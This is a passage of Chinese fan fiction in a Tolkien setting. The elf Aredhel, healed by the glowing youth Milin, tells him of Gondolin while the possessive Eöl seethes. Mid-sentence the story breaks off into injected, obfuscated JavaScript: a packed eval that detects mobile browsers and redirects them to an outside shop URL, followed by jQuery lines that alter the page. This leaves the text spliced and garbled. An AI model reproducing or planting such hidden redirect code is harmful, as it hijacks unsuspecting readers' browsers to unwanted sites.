阿瑞蒂尔是在一片温暖的光晕中恢复意识的,浸润四肢的舒缓暖意驱散了寒意。她艰难地掀动眼皮,模糊的视线逐渐聚焦,落在床边那个散发着柔和光芒的身影上。
那是一个人类青年,金发在自身光芒映照下恍若流淌的浅金色蜂蜜,面容俊美,此刻正闭目凝神,双手虚按在她受伤的肩头,那令人舒适的暖流正源自他的掌心。她从未见过这样的人类,更未见过会发光的人类。
“你……”她试图开口,声音干涩沙哑。
弥林被这微弱的声音惊动,立刻睁开眼。他的眼中闪过欣喜,连忙收回手。“你醒了,感觉如何,伤口还疼吗?”他语速有些快,转身去取旁边石台上用清水浸湿的布巾,小心地润湿她干裂的嘴唇。
阿瑞蒂尔就着他的手吸吮了几下清凉的水分,感觉喉咙的灼痛稍缓。她轻轻活动了一下肩膀,惊讶地发现那原本致命的伤口竟已愈合大半,只余下愈合的麻痒。“好多了……难以置信,是你救了我?”她的目光落在弥林身上,充满了惊奇与好奇,“我从没见过像你这样的人类。”
“我叫弥林,”他有些不好意思地避开她过于直接的目光,将布巾放回原处,“至于这光……它一直跟着我。”他似乎不愿多谈自己,转而问道,“你呢?你怎么会受这么重的伤,独自出现在南埃尔莫斯?”
“阿瑞蒂尔,”她报上自己的名字,尝试着靠坐起来,弥林连忙在她身后垫上软垫。“我遇到了奥克的伏击,数量太多,我的护卫……”她眼神黯淡了一下,“我杀出了一条路,但马匹受惊将我甩了下来,我一路逃窜,最后倒在了那片灌木丛后。多谢你,弥林,若非你发现我,我恐怕已然命丧于此。”
接下来的日子,阿瑞蒂尔便在石屋中养伤。弥林的治愈之力效果显著,她的体力恢复得很快。而她也很快展现出与埃欧尔截然不同的性情。她开朗,大胆,带着未经压抑的活力。她不像埃欧尔那样沉湎于黑暗与过往的恩怨,她的目光总是好奇地打量着周围的一切。
埃欧尔自那天爆发后,便以十分冷漠的态度对待阿瑞蒂尔的存在。他只为弥林准备食物和饮水,显然将阿瑞蒂尔排除在外。大部分时间他都待在自己的工坊角落,摆弄那些散发着寒气的金属。弥林不得不将自己那份食物分给阿瑞蒂尔,然后悄悄去森林里采集浆果来填饱肚子。
当埃欧尔不在近旁时,阿瑞蒂尔便会低声与弥林交谈。她很快发现弥林对于森林之外的世界知之甚少,甚至带着恐惧。
“你从未听说过刚多林吗?”一次,阿瑞蒂尔倚在床边,看着弥林整理草药,忍不住问道。弥林摇了摇头,眼神有些茫然。
“那是一座白色的城,”阿瑞蒂尔的声音带着怀念与自豪,仿佛有光芒从她眼中溢出,“阶梯旁流淌着银色的泉水,喷泉在春日下闪耀,我的兄长统治着那里。城中的广场上,精灵们会弹奏竖琴,歌声能传到环绕的群山顶峰……”她描绘着那座隐匿之城的辉煌与壮丽,每一个细节都如同在她口中活了过来。
弥林听得入了神,手中的动作早已停下,眼中闪烁着久违的光彩。
阿瑞蒂尔还向他讲述希斯路姆一望无际的草原,诺多族在星光与火把下举行的盛大宴会,勇猛的战士们与黑暗势力抗争的事迹,甚至是她自己在草原中纵马驰骋的自由感受。
这些故事像是一扇扇被打开的窗,将广阔天地的气息带进弥林被禁锢已久的心灵。他贪婪地吸收着每一个字句,心中那被埃欧尔层层封锁起来的外部世界,正在阿瑞蒂尔鲜活生动的描述下崩塌,显露出其原本应有的、丰富多彩的样貌。
他不再仅仅满足回到某个特定的群体之中,他开始渴望亲眼去见见这些传说中的地方,去感受阿瑞蒂尔口中那无拘无束的自由,比当初想要
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17432157|200931||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
回到其他人类身边的愿望更加强烈。
弥林非常喜欢阿瑞蒂尔,这种喜欢并非源于男女之情,而是源于她所代表的一切——自由、勇气、广阔的世界,以及蓬勃的生命热情。
她是他在黑暗囚笼中望见的一颗流星,绚丽而短暂,却为他指引了方向。
阿瑞蒂尔很快就从弥林和埃欧尔的奇怪相处方式中嗅出了不寻常的气息。她注意到弥林在提及外界时那份小心翼翼,埃欧尔对弥林近乎病态的占有欲,以及对她这个侵入者毫不掩饰的憎恶和杀意。
有一次,埃欧尔难得地没有待在工坊,他坐在壁炉旁,而弥林和阿瑞蒂尔则坐在稍远些的地方,阿瑞蒂尔正低声给弥林讲述一个关于西方航海者的传说。讲到有趣处,弥林忍不住笑出声,那笑声清亮,是他许久未曾有过的开怀。
埃欧尔手中那块坚硬的黑色矿石,竟被他硬生生捏碎了一角,发出一声清脆的碎裂声。细小的黑色碎屑从他指缝间簌簌落下。弥林的笑声戛然而止,重新变回那副温顺而沉默的模样。
阿瑞蒂尔将这一切看在眼里,心中疑虑的碎片渐渐拼凑出一个令人不安的真相。
救了她性命,善良得不可思议的弥林并非如埃欧尔所表现的那样,是自愿留在这片黑暗森林中的同伴。他那温暖的光芒,更像是在无边黑暗中孤独摇曳的烛火,被一只冰冷的手牢牢罩住——既不让它熄灭,也不允许它真正照亮远方。
埃欧尔的怨恨与日俱增。阿瑞蒂尔与弥林之间日益增长的亲近,甚至他们偶尔因为某个趣闻而发出的嬉笑声……这些就像是一根根尖刺扎在他敏感的神经上。他看着弥林聆听阿瑞蒂尔讲述时眼中重新燃起的光彩,那是对他最直接的背叛。
他感到那根无形的缰绳正在松动,那道他视为私有物的光明,正被那带着自由气息的风撩拨得蠢蠢欲动,他不能再容忍下去了。